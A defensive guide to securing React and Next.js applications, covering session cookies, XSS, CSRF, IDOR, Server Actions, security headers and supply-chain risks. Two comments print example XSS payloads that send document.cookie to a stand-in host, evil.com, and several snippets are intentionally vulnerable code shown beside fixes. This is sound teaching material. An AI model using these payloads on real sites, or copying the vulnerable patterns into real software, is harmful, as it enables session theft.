Why Frontend Security Matters
The browser is untrusted territory. Every line of JavaScript you ship runs on machines you do not own, in browsers you cannot control, surrounded by extensions that can intercept network requests and read the DOM. Anyone who opens DevTools can inspect your entire client bundle, observe every API call, and replay requests with modified payloads.
The persistent misconception is that security belongs to the backend. This is dangerously incomplete. The frontend manages authentication tokens, renders PII, handles payment flows, enforces role-based UI, and processes user input before it reaches the server. A single XSS vulnerability in your application can allow an attacker to steal session tokens, exfiltrate data from the DOM, make authenticated API calls on behalf of logged-in users, and silently modify what users see and submit.
Real incidents confirm this. The British Airways breach in 2018 exposed 500,000 customers through a compromised third-party script injected into their checkout page that silently exfiltrated payment data. Multiple npm supply chain attacks have injected credential-stealing code into thousands of downstream applications. Countless production React apps store JWT tokens in localStorage, making them trivially extractable by any injected script.
Threat Model for Modern React Apps
A threat model maps what you are protecting, who is attacking it, and through which vectors. For a React application, the attack surface is larger than most frontend engineers assume.
Attack Surface Map
| Surface | What Lives There | Accessible Via JS? | Primary Risk |
|---|---|---|---|
| localStorage | Tokens, preferences, cached data | Yes | XSS token theft |
| sessionStorage | Tab-scoped state | Yes | XSS token theft |
| HttpOnly cookies | Session tokens, auth state | No | CSRF (mitigated by SameSite) |
| In-memory (React state) | UI state, temp auth tokens | Only in-page | Lost on refresh, XSS in-session |
| DOM | Rendered HTML, user content | Yes | XSS injection via dangerouslySetInnerHTML |
| Network requests | API calls, auth headers | Observable | Replay attacks, CORS misconfig |
| npm dependencies | All transitive packages | Full execution | Supply chain compromise |
| Third-party scripts | Analytics, support widgets, ads | Full DOM access | Data exfiltration, session hijacking |
Threat Actors
- Automated scanners: bots that probe known vulnerabilities, outdated dependency CVEs, and common misconfigurations at scale.
- Targeted attackers: individuals or groups specifically targeting your application, often for financial data, credentials, or PII.
- Supply chain compromisers: attackers who target your dependencies rather than your code directly, using package typosquatting, maintainer account takeovers, or dependency confusion attacks.
- Malicious insiders: less common in frontend security, but worth noting for enterprise applications handling regulated data.
Core Security Concepts
Authentication vs. Authorization
Authentication answers: who are you? It validates identity through credentials, tokens, or biometrics. Authorization answers: what are you allowed to do? It determines permissions for an authenticated identity.
The critical mistake: implementing authorization only in the UI. Hiding a delete button from non-admin users is a UX decision, not a security control. The API endpoint must independently verify that the requesting user has the required permission on every request, regardless of what the frontend renders.
Trust Boundaries
A trust boundary defines what you can assume about data at each layer. The browser is outside your trust boundary. Everything the client sends, including auth tokens, user IDs, role claims, and form data, must be treated as potentially attacker-controlled and validated on the server.
Principle of Least Privilege
Request only the permissions, data, and access that are genuinely required for the current operation. An API endpoint that returns full user objects when only the display name is needed exposes more data than necessary. A component that can write to a resource should not receive read access to unrelated resources.
Defense in Depth
Layer multiple independent security controls so that no single failure creates a breach. Middleware auth, server-side authorization in route handlers, API-level validation, and CSP headers are each independent layers. If one fails, the others still hold.
Authentication & Session Security
The localStorage Problem
localStorage is synchronous, persistent browser storage accessible to any JavaScript executing on the page. Any XSS payload, compromised analytics script, or malicious browser extension can call localStorage.getItem("token") and exfiltrate your authentication token. The session can then be hijacked from any location in the world.
// NEVER: JWT in localStorage - readable by any script on the page
function loginUser(token: string) {
localStorage.setItem("token", token);
}
// The token can be stolen by ANY JavaScript running on the page:
// - XSS payloads
// - Compromised third-party analytics scripts
// - Malicious browser extensions
// - Any future injected scriptHttpOnly Cookies: The Correct Default
HttpOnly cookies cannot be read or modified by JavaScript. The browser sends them automatically on same-origin requests. Combined with the Secure flag (HTTPS-only transmission) and SameSite=Lax (CSRF protection), they are the right storage mechanism for session tokens in web applications.
"use server";
import { cookies } from "next/headers";
import { verifyCredentials, createSessionToken } from "@/lib/auth";
export async function loginAction(credentials: {
email: string;
password: string;
}) {
const user = await verifyCredentials(credentials);
if (!user) throw new Error("Invalid credentials");
const token = await createSessionToken(user.id);
const cookieStore = await cookies();
cookieStore.set("session", token, {
httpOnly: true, // Not readable by JS
secure: process.env.NODE_ENV === "production", // HTTPS only in prod
sameSite: "lax", // CSRF protection
maxAge: 60 * 60 * 24 * 7, // 7 days
path: "/",
});
}Cookie Flags Reference
| Flag | Effect | Required? |
|---|---|---|
| HttpOnly | Cookie is inaccessible to JavaScript. The single most important flag for auth tokens. | Always |
| Secure | Cookie is only sent over HTTPS connections. Prevents downgrade attacks. | Always in production |
| SameSite=Lax | Cookie sent on same-site requests and top-level cross-site navigation. The correct default for most apps. | Recommended |
| SameSite=Strict | Cookie never sent on cross-site requests. Maximum CSRF protection, but breaks OAuth and SSO flows. | Use case dependent |
| SameSite=None | Cookie sent on all requests. Requires Secure=true. Only for cross-site embedded contexts. | Rarely appropriate |
| MaxAge / Expires | Sets session expiration. Without this, the cookie is a session cookie that expires when the browser closes. | Define explicitly |
Session Invalidation
Logging out must invalidate the session server-side. Deleting the cookie client-side without revoking the token on the server allows anyone who captured the token before logout to continue using it. Maintain a server-side session store or token revocation list, and check it on every authenticated request.
Token Storage Comparison
| Storage | XSS Risk | CSRF Risk | Persists Refresh? | Recommendation |
|---|---|---|---|---|
| localStorage | High - JS readable | None - manual header | Yes | Never for auth tokens |
| sessionStorage | High - JS readable | None | No | Never for auth tokens |
| HttpOnly cookie | None - not JS readable | Mitigated by SameSite | Yes | Recommended |
| In-memory (React state) | Only if XSS in-session | None | No | Acceptable for short-lived tokens |
React-Specific Security
JSX Auto-Escaping
React automatically escapes all string values rendered in JSX. When you write <p>{userContent}</p>, React converts HTML-special characters in userContent into their HTML entity equivalents. <script>alert(1)</script> renders as literal visible text, not as an executable script. This protects against the most common reflected XSS patterns.
JSX escaping is context-limited. It protects string values in JSX text positions and most attribute values. It does not protect: dangerouslySetInnerHTML, href attributes containing user-supplied URLs, style attributes with user-controlled values, or direct DOM mutations via element.innerHTML.
dangerouslySetInnerHTML: When and How to Use Safely
dangerouslySetInnerHTMLbypasses React's escaping entirely and injects raw HTML directly into the DOM. The name is a deliberate warning. Using it with unsanitized user content is one of the highest-severity vulnerabilities in a React application.
// VULNERABLE: raw user content injected directly into DOM
// An attacker can submit: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
function BlogPost({ post }: { post: Post }) {
return (
<div dangerouslySetInnerHTML={{ __html: post.content }} />
);
}import DOMPurify from "dompurify";
// SAFE: sanitize before rendering
// DOMPurify strips executable content while preserving allowed formatting
function BlogPost({ post }: { post: Post }) {
const clean = DOMPurify.sanitize(post.content, {
ALLOWED_TAGS: ["p", "br", "b", "i", "em", "strong", "ul", "ol", "li", "a"],
ALLOWED_ATTR: ["href", "title"],
ALLOWED_URI_REGEXP: /^https?:///i, // only allow http/https links
});
return (
<div dangerouslySetInnerHTML={{ __html: clean }} />
);
}isomorphic-dompurify or sanitize-html, both of which work without a browser DOM.href Attribute Injection
The javascript: URI scheme allows JavaScript execution when a user clicks a link. React does not block javascript: URIs in href attributes (though React 19 emits a warning in development). Any component that renders a user-supplied URL in an href must validate the protocol before rendering.
// VULNERABLE: attacker submits "javascript:fetch('https://evil.com/steal?c='+document.cookie)"
function ProfileCard({ profile }: { profile: Profile }) {
return (
<a href={profile.website}>Visit website</a>
);
}function safeHref(url: string): string {
try {
const parsed = new URL(url);
return ["http:", "https:"].includes(parsed.protocol) ? url : "#";
} catch {
return "#";
}
}
function ProfileCard({ profile }: { profile: Profile }) {
return (
<a href={safeHref(profile.website)} rel="noopener noreferrer">
Visit website
</a>
);
}Common Frontend Vulnerabilities
XSS: Cross-Site Scripting critical
XSS allows an attacker to inject executable JavaScript into your pages, running in the security context of your origin. It has three variants in React apps:
- Stored XSS: malicious script saved to a database (e.g., in a user profile or post) and rendered to all visitors. React escapes strings in JSX, but
dangerouslySetInnerHTMLwith unsanitized content bypasses this. - Reflected XSS:malicious input reflected directly in a response (e.g., a search term rendered unsanitized). React's JSX escaping protects most string outputs, but direct DOM manipulation via refs is not protected.
- DOM-based XSS: client-side code reads attacker-controlled input (URL fragments, postMessage events) and passes it to a sink like
innerHTMLoreval(). This is entirely client-side and React's server-side rendering provides no protection.
Prevention: never use dangerouslySetInnerHTML without sanitizing first, validate URL protocols before rendering in href, avoid eval() and new Function() with user data, enforce a strict Content Security Policy.
CSRF: Cross-Site Request Forgery high
CSRF tricks an authenticated user's browser into making an unintended state-changing request to your application. The attacker's page causes the victim's browser to submit a form or fire a fetch request to your API, and the browser automatically includes the session cookie.
Modern applications using SameSite=Lax cookies are largely protected: cross-origin sub-requests (fetch, XHR, form POST) do not include Lax cookies. For applications using SameSite=None or legacy cookies without a SameSite attribute, synchronizer token patterns remain necessary.
Clickjacking medium
An attacker embeds your application in an invisible iframe positioned over a deceptive page. Users interact with your application thinking they are clicking on the attacker's interface. This is used to trick users into confirming transactions, changing settings, or authorizing OAuth permissions.
Prevention: set X-Frame-Options: DENY or use CSP frame-ancestors 'none' in your security headers. Both prevent your pages from being embedded in iframes on other origins.
IDOR: Insecure Direct Object Reference high
IDOR occurs when authorization is derived from what data was returned, not from verified ownership. A frontend displaying orders fetched from /api/orders?userId=123trusts the server to return only the authenticated user's orders. If the API does not verify that the userIdin the query matches the authenticated session, an attacker can change the parameter and access any user's orders.
Prevention: never derive authorization from client-supplied identifiers. The API must verify that the authenticated user owns the requested resource, not just that a valid session exists.
Exposed Environment Variables critical
In Next.js, any environment variable prefixed with NEXT_PUBLIC_ is inlined into the browser bundle at build time. It is publicly visible to every user who loads your application. Secrets placed in NEXT_PUBLIC_ variables, including API keys, OAuth secrets, and database connection strings, are fully exposed.
# WRONG: secret key exposed to browser bundle
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_... # Every user can read this
NEXT_PUBLIC_DATABASE_URL=postgres://... # Equally exposed# CORRECT: secrets in server-only variables (no NEXT_PUBLIC_ prefix)
STRIPE_SECRET_KEY=sk_live_... # Server-only: never reaches browser
DATABASE_URL=postgres://... # Server-only
# Public-facing values can use NEXT_PUBLIC_
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_... # Safe: this key is meant to be public
NEXT_PUBLIC_API_URL=https://api.example.com # Safe: public endpoint URLSupply Chain Attacks critical
A typical Next.js application has hundreds of transitive npm dependencies. Supply chain attacks exploit this by publishing malicious versions of popular packages (typosquatting), compromising a legitimate maintainer's account and publishing a malicious update, or exploiting dependency confusion in monorepo environments. Once a malicious package executes, it has full access to environment variables, file system, and network within your build environment.
Prevention: run npm audit in CI, pin critical dependencies, use npm ci in production builds (enforces lockfile integrity), enable Dependabot or Renovate for automated updates, and review lockfile changes in code reviews.
Next.js App Router Security Model
Server Components: Reduced Attack Surface
Server Components execute on the server and never ship component code to the browser. Database credentials, internal API keys, business logic, and sensitive data transformations remain entirely server-side. There is no use client boundary to accidentally cross with sensitive code. The rendered HTML output is all that reaches the client.
In Next.js 15, all components are Server Components by default. This is a security-positive default: the burden is on opting into client execution with "use client", not on remembering to keep things server-side.
Client Components: Understand What Gets Shipped
A "use client" directive marks a component and all of its transitive imports as part of the client bundle. Every module imported from a client component is included in the JavaScript sent to users. Treat client components as a public execution environment: no secrets, no sensitive business logic, no direct database access.
Server Actions: Always Validate Authorization
Server Actions are functions marked "use server" that execute on the server but can be called from client components. Each Server Action compiles to a POST endpoint. The "use server" directive provides no authorization.An unauthenticated Server Action is equivalent to an unprotected API route. Every action must validate the caller's session and verify that the authenticated user is permitted to perform the specific operation.
"use server";
// VULNERABLE: no auth check - any unauthenticated request can delete any post
export async function deletePost(postId: string) {
await db.posts.delete({ where: { id: postId } });
}"use server";
import { getSession } from "@/lib/auth";
import { db } from "@/lib/db";
export async function deletePost(postId: string) {
// 1. Verify authenticated
const session = await getSession();
if (!session?.userId) throw new Error("Unauthorized");
// 2. Verify ownership (authorization, not just authentication)
const post = await db.posts.findUnique({ where: { id: postId } });
if (!post) throw new Error("Not found");
if (post.authorId !== session.userId) throw new Error("Forbidden");
// 3. Perform the operation
await db.posts.delete({ where: { id: postId } });
}Middleware: Auth Gate Before Any Render
Middleware runs before any route handler or page component. It is the correct place to validate sessions and redirect unauthenticated users for protected routes. Middleware auth prevents unnecessary page renders and database queries for unauthenticated requests. It is not a replacement for per-route authorization: every API endpoint and Server Action must also validate independently.
import { NextRequest, NextResponse } from "next/server";
import { validateSession } from "@/lib/auth";
const PROTECTED_PREFIXES = ["/dashboard", "/settings", "/admin"];
export async function middleware(request: NextRequest) {
const isProtected = PROTECTED_PREFIXES.some((prefix) =>
request.nextUrl.pathname.startsWith(prefix)
);
if (!isProtected) return NextResponse.next();
const session = request.cookies.get("session")?.value;
if (!session) {
return NextResponse.redirect(new URL("/login", request.url));
}
// Optional: validate session token integrity
const valid = await validateSession(session);
if (!valid) {
const response = NextResponse.redirect(new URL("/login", request.url));
response.cookies.delete("session");
return response;
}
return NextResponse.next();
}
export const config = {
matcher: ["/((?!_next/static|_next/image|favicon.ico|api/public).*)"],
};Environment Variable Separation
| Variable Pattern | Available In | Use For | Never Use For |
|---|---|---|---|
NEXT_PUBLIC_* | Browser + Server | Public API URLs, publishable keys, feature flags | Secrets, private keys, DB credentials |
* (no prefix) | Server only | All secrets, DB URLs, private API keys, JWT signing secrets | Client-side code |
Secure Data Handling
Validate at Every API Boundary
Client-side form validation is for user experience. It provides immediate feedback and prevents wasted network round trips. It is not a security control. An attacker using a tool like Burp Suite can bypass your client-side validation entirely and send arbitrary data directly to your API.
Every Server Action, API route, and server-side data entry point must validate inputs independently. Zod is the standard for runtime schema validation in TypeScript applications: it provides both type safety at compile time and runtime validation at execution time.
"use server";
import { z } from "zod";
import { getSession } from "@/lib/auth";
const CreatePostSchema = z.object({
title: z.string().min(1, "Title required").max(200, "Title too long"),
content: z.string().min(1, "Content required").max(50_000, "Content too long"),
tags: z.array(z.string().max(50)).max(10, "Maximum 10 tags"),
published: z.boolean().default(false),
});
export async function createPost(input: unknown) {
const session = await getSession();
if (!session?.userId) throw new Error("Unauthorized");
// parse() throws ZodError with descriptive messages on invalid input
// Never trust the TypeScript types here - input comes from the network
const data = CreatePostSchema.parse(input);
return db.posts.create({
data: { ...data, authorId: session.userId },
});
}Protecting PII in Frontend Applications
- Never store PII in localStorage or sessionStorage. These stores persist and are accessible to any script on the page. PII should live in server-side sessions or be fetched fresh on each page load.
- Avoid PII in URL parameters. URLs appear in browser history, server logs, Referer headers, and analytics systems. A user ID or email address in a URL parameter is likely to be logged in multiple places you do not control.
- Never log sensitive data to the console. Browser console logs are visible to any user with DevTools and to error monitoring services that capture console output. Never log tokens, passwords, payment details, or health data.
- Return only what is needed.If your component only needs a user's display name and avatar, the API should return only those fields. Do not fetch full user objects and discard sensitive fields client-side.
API Security from the Frontend
HTTPS: Mandatory, Not Optional
All production API communication must use HTTPS. HTTP transmits tokens and request bodies in cleartext, allowing network observers to capture authentication credentials and session tokens. HSTS headers (Strict-Transport-Security) enforce HTTPS even when users type an HTTP URL or click an HTTP link, preventing downgrade attacks.
Authorization Header vs. URL Parameters
Auth tokens belong in the Authorization: Bearer <token> header or in HttpOnly cookies, never in URL query parameters or path segments. URL parameters are logged by proxy servers, CDNs, browser history, and analytics systems. A token in a URL is a token that will be captured in logs you did not expect.
CORS Is Not an Authentication Mechanism
CORS prevents browser-based cross-origin requests from receiving responses. It does not prevent server-to-server requests, Postman requests, or curl requests to your API. An API that relies on CORS to prevent unauthorized access is not secure. CORS is a browser-enforced mechanism to protect users. It does not protect your data from determined attackers.
Backend-for-Frontend (BFF) Pattern
Rather than calling external APIs directly from the browser, route requests through a Next.js Route Handler or Server Action. This layer authenticates the request, injects API keys from server-side environment variables, enforces authorization, aggregates data from multiple sources, and returns only the fields the client needs. Third-party API keys never leave the server. This is the correct default architecture for applications that need to call authenticated external APIs.
Third-Party Dependencies & Supply Chain
The npm Ecosystem Risk
A typical Next.js application has hundreds of transitive dependencies. Each is a potential supply chain attack vector. Attackers compromise the npm ecosystem through typosquatting (publishing packages with names similar to popular ones), maintainer account takeovers (gaining legitimate publish rights), and dependency confusion (uploading malicious internal package names to the public registry).
Essential Practices
# Audit for known vulnerabilities
npm audit
# Audit with minimum severity threshold
npm audit --audit-level=high
# Fix automatically where a non-breaking update exists
npm audit fix
# Install with lockfile enforcement (use in CI, never npm install)
npm ci
# Check a package before adding it
npx npm-check-updates --filter react-markdown- Commit package-lock.json (or yarn.lock / pnpm-lock.yaml). Lockfiles guarantee that everyone on the team and every CI build installs identical package versions. A lockfile change is a real code change and should be reviewed.
- Enable Dependabot or Renovate. Automated dependency update PRs surface security patches quickly. Configure them to auto-merge minor and patch updates after CI passes.
- Use npm ci in production builds. Unlike
npm install,npm cifails if the lockfile does not match package.json, preventing accidental package resolution drift. - Evaluate new dependencies before adding them.Check the package's npm download count, last published date, GitHub activity, and number of maintainers. A package with a single maintainer and no recent activity is a supply chain risk.
Subresource Integrity (SRI) for CDN Scripts
When loading scripts or stylesheets from a CDN, use SRI attributes. SRI adds a cryptographic hash of the expected file content. If the CDN serves a modified file (compromised CDN, MITM), the browser will refuse to execute it.
<!-- Without SRI: CDN compromise = arbitrary script execution -->
<script src="https://cdn.example.com/lib.min.js"></script>
<!-- With SRI: browser verifies hash before executing -->
<script
src="https://cdn.example.com/lib.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"
></script>Security Headers & Browser Protections
Security headers are HTTP response headers that activate browser protections. Configuring them is a low-effort, high-impact security measure. Next.js allows global header configuration in next.config.ts.
import type { NextConfig } from "next";
const securityHeaders = [
// Prevent embedding in iframes (clickjacking protection)
{ key: "X-Frame-Options", value: "DENY" },
// Prevent MIME-type sniffing
{ key: "X-Content-Type-Options", value: "nosniff" },
// Control referrer information
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
// Restrict browser feature access
{
key: "Permissions-Policy",
value: "camera=(), microphone=(), geolocation=(self), payment=()",
},
// Enforce HTTPS for 2 years, include subdomains
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload",
},
// Content Security Policy - tighten script-src with nonces in production
{
key: "Content-Security-Policy",
value: [
"default-src 'self'",
"script-src 'self' 'unsafe-inline'", // Replace 'unsafe-inline' with nonce in prod
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"connect-src 'self' https://api.example.com",
"font-src 'self'",
"object-src 'none'",
"base-uri 'self'",
"frame-ancestors 'none'",
].join("; "),
},
];
const nextConfig: NextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: securityHeaders,
},
];
},
};
export default nextConfig;CSP: Content Security Policy
CSP is the most powerful browser security header. It specifies allowed origins for scripts, styles, images, and other resources. A strict CSP prevents XSS payloads from loading external attacker-controlled scripts, even when injection occurs.
The 'unsafe-inline' directive for script-src significantly weakens CSP. In production, replace it with nonces (cryptographic random values added to both the header and each inline script tag, generated per request) or switch entirely to external script files. Next.js 15 supports CSP nonces via middleware.
HSTS: HTTP Strict Transport Security
HSTS instructs browsers to always use HTTPS for your domain, even when the user types an HTTP URL. The preload flag adds your domain to browser HSTS preload lists, which means first-time visitors also receive HTTPS before making any HTTP request. Register at hstspreload.org after deploying.
Secure Architecture Patterns
Server-First Architecture
The most impactful architectural security decision in a Next.js application is maximizing server-side execution. Server Components eliminate a class of vulnerabilities by keeping sensitive logic, database access, and API credentials server-side. Code that never reaches the browser cannot be read, modified, or exploited by browser-based attackers.
The guiding rule: use Server Components as the default and move to Client Components only when interactivity requires it. When you move to a Client Component, review what imports it transitively pulls into the bundle.
Backend-for-Frontend (BFF)
The BFF pattern routes all API communication through a server-side layer rather than calling external APIs directly from the browser. The BFF layer owns:
- Authentication: validates the session before forwarding any request
- API key injection: stores third-party keys server-side, never in the browser
- Data aggregation: combines multiple upstream responses into a single client-facing payload
- Field filtering: returns only the fields the client needs (principle of least privilege applied to data)
- Rate limiting: prevents clients from directly hammering upstream services
Zero-Trust Frontend Model
Zero-trust applied to frontend architecture means: assume that any client-side state can be manipulated by an attacker and design your server-side controls accordingly. Specifically:
Enforce on the server
- Authorization: who can access what resource
- Input validation: schema, types, lengths, formats
- Business rule enforcement: rate limits, quotas
- Data access: which records belong to which user
- Role checks: admin operations require verified role
Never trust from client
- Client-supplied user IDs for authorization
- Client-sent role claims or permission flags
- Client-computed totals or prices
- Client-side JWT validation as the sole check
- UI state as a proxy for permission state
Security Anti-Patterns
These are the most common security mistakes in production React and Next.js applications. Each has a clear fix.
| Anti-Pattern | Risk | Why It's Dangerous | Fix |
|---|---|---|---|
| JWT in localStorage | critical | Any XSS payload or compromised third-party script can read and exfiltrate the token silently. | HttpOnly + Secure + SameSite=Lax cookie |
| Secrets in NEXT_PUBLIC_ vars | critical | NEXT_PUBLIC_ values are inlined into the browser bundle. Every user can read them via DevTools. | Server-only env vars (no NEXT_PUBLIC_ prefix) |
| Frontend-only role checks | critical | A user can modify JavaScript state or directly call the API with elevated permissions. | Enforce roles in Server Actions and API routes |
| Unsanitized dangerouslySetInnerHTML | critical | Injects raw HTML into the DOM. A single stored XSS payload can steal all active sessions. | DOMPurify.sanitize() before rendering |
| Missing backend validation | high | Attackers bypass client-side validation with direct API requests. Any malformed input reaches your database. | Zod schema validation on every server entry point |
| No SameSite cookie attribute | high | Cookies without SameSite are vulnerable to CSRF in browsers that default to SameSite=None (legacy behavior). | Always set SameSite=Lax on session cookies |
| Unprotected Server Actions | high | Server Actions without auth checks are publicly callable API endpoints. "use server" provides no security. | Validate session + ownership in every Server Action |
| Trusting client-supplied IDs | high | Using a userId from the request body rather than the authenticated session enables horizontal privilege escalation. | Always derive user identity from the verified session |
| Permissive CORS with credentials | high | Access-Control-Allow-Origin: * with credentials enabled allows any origin to make authenticated requests. | Explicit origin allowlist for CORS |
| No CSP headers | medium | Without CSP, any injected XSS payload can load external scripts from attacker-controlled origins with no browser restriction. | Configure CSP headers in next.config.ts |
| Leaking internal errors to the UI | medium | Stack traces, database error messages, and internal paths returned to the client reveal implementation details that assist attackers. | Return generic error messages to the client, log details server-side |
Production Security Checklist
A minimum baseline for any production React and Next.js application.
Authentication & Sessions
Authorization
React & Next.js
dangerouslySetInnerHTML without DOMPurify or equivalent sanitizationhrefAPI & Data
Browser Protections
Content-Security-Policy header configured and testedStrict-Transport-Security with min 1-year max-ageX-Frame-Options: DENY or CSP frame-ancestorsX-Content-Type-Options: nosniffReferrer-Policy: strict-origin-when-cross-originDependencies
npm ci used in production builds (not npm install)Monitoring & Response
Security Tooling Ecosystem
| Tool | Category | What It Does | When to Use |
|---|---|---|---|
| npm audit | Dependency scanning | Checks installed packages against the npm advisory database for known CVEs. | In CI on every PR and scheduled daily |
| Snyk | Dependency + SAST | Continuous monitoring for CVEs, license issues, and code-level vulnerabilities. Integrates with GitHub and CI. | Continuous monitoring in production repositories |
| Dependabot / Renovate | Dependency automation | Automatically creates PRs to update dependencies when new versions are published, including security patches. | Enable in every production repository |
| eslint-plugin-security | Static analysis | ESLint rules that flag common security anti-patterns: unsafe regex, eval usage, object injection, and prototype pollution. | Add to ESLint config during project setup |
| eslint-plugin-no-secrets | Secret detection | Detects potential secrets, API keys, and tokens hardcoded in source files. | During development, block commits with detected secrets |
| DOMPurify | XSS sanitization | Sanitizes HTML strings before rendering with dangerouslySetInnerHTML. Maintained by Cure53. | Whenever rendering user-supplied HTML content |
| CSP Evaluator | Header analysis | Google's tool for evaluating the strength of a CSP policy and identifying weaknesses. | When writing or auditing a CSP policy |
| OWASP ZAP | Dynamic analysis | Automated scanner that crawls a running application and tests for common vulnerabilities including XSS, injection, and misconfigurations. | Pre-launch security review and periodic audits |
| Burp Suite Community | Manual testing | HTTP proxy and toolkit for manual security testing: intercepting requests, modifying parameters, and testing API authorization. | Manual security reviews and authorization testing |
| securityheaders.com | Header testing | Grades HTTP security headers and provides recommendations. | Verify security header configuration after deployment |
Real-World Recommendations
Startup Baseline (Ship Quickly, Ship Safely)
At MVP stage the goal is reaching users, not achieving a perfect security posture. But a small number of high-leverage decisions at the start prevent expensive rearchitects later.
- Use an auth library: next-auth (NextAuth.js), Clerk, or Auth0. Do not write your own session management. These libraries handle cookie configuration, CSRF protection, session rotation, and OAuth flows correctly by default.
- HttpOnly cookies from day one. Switching from localStorage to cookies later requires migrating every active session. The cost of getting this wrong early is high.
- Security headers in next.config.ts. Takes 30 minutes. Prevents a class of vulnerabilities permanently.
- npm audit in CI. Blocking on critical severity is a zero-friction change that catches known CVEs automatically.
- No NEXT_PUBLIC_ secrets. Review all env variables. If a secret is in a NEXT_PUBLIC_ variable, move it immediately.
Scale-Up Additions (Growth Stage)
As your application handles more users and more sensitive data, add:
- CSP with nonces: replace
'unsafe-inline'in your script-src with per-request nonces. Next.js 15 supports this via middleware. - Input validation with Zod on every server entry point. Add to Server Actions and API routes systematically, not just the sensitive ones.
- Continuous dependency monitoring via Snyk or GitHub Advanced Security.
- Security-aware code review: review authorization checks, data returned from APIs, and any new uses of dangerouslySetInnerHTML as part of normal PR review.
- Rate limiting: at the API Gateway, CDN edge, or application level. Prevent credential stuffing and brute-force attacks.
Enterprise and Regulated Industries
For applications handling financial data, health records, or operating under GDPR, HIPAA, or PCI-DSS:
- PCI-DSS (payments): card data must never pass through your servers. Use Stripe Elements, Braintree hosted fields, or an equivalent. These render in a cross-origin iframe so card numbers are tokenized before you ever see them. Scope minimization reduces your compliance surface.
- HIPAA (health data): encryption at rest and in transit is required. Full audit logs of data access events are legally required. Store health data behind additional auth layers with RBAC enforced at the API level, not in the frontend.
- Penetration testing: commission annual or pre-launch penetration tests from a qualified third party. Automated scanners miss business logic vulnerabilities and authorization flaws that require human testing.
- Security champion program: designate one or more engineers per team as security champions. They stay current on security research, review security-sensitive PRs, and serve as the first line of review before escalating to a dedicated security team.
Security Decision Framework
What Belongs in the Frontend vs. the Backend
Safe to do client-side
- Display-only role checks (hiding irrelevant UI)
- UX-level form validation (prevent empty submits)
- Client-side routing guards (redirect logged-out users)
- Formatting and presenting API-returned data
- State management of UI concerns
- Optimistic UI updates for reversible actions
Must be server-side
- Authorization: who can access what data
- Input validation: schema and business rule enforcement
- Ownership verification: does this user own this record
- Price/total computation for financial operations
- Audit logging of security-relevant events
- Rendering secrets, API keys, or credentials
Vulnerability Prioritization
Not all vulnerabilities require immediate action. Use this priority order when deciding what to address first:
- Authentication bypass and session theft: any vulnerability that allows an attacker to authenticate as another user or steal a session token. Fix immediately.
- Data exfiltration: XSS vulnerabilities that allow mass data theft, exposed secrets in browser bundles, IDOR vulnerabilities affecting sensitive data. Fix within one sprint.
- Privilege escalation: frontend-only authorization checks, unprotected Server Actions. Fix within one sprint.
- Missing hardening: absent security headers, missing input validation, no CSP. Address in the next planned security hardening cycle.
- Dependency vulnerabilities: addressed through normal dependency update cycles unless a CVSS score is 9.0 or higher, in which case treat as priority 1.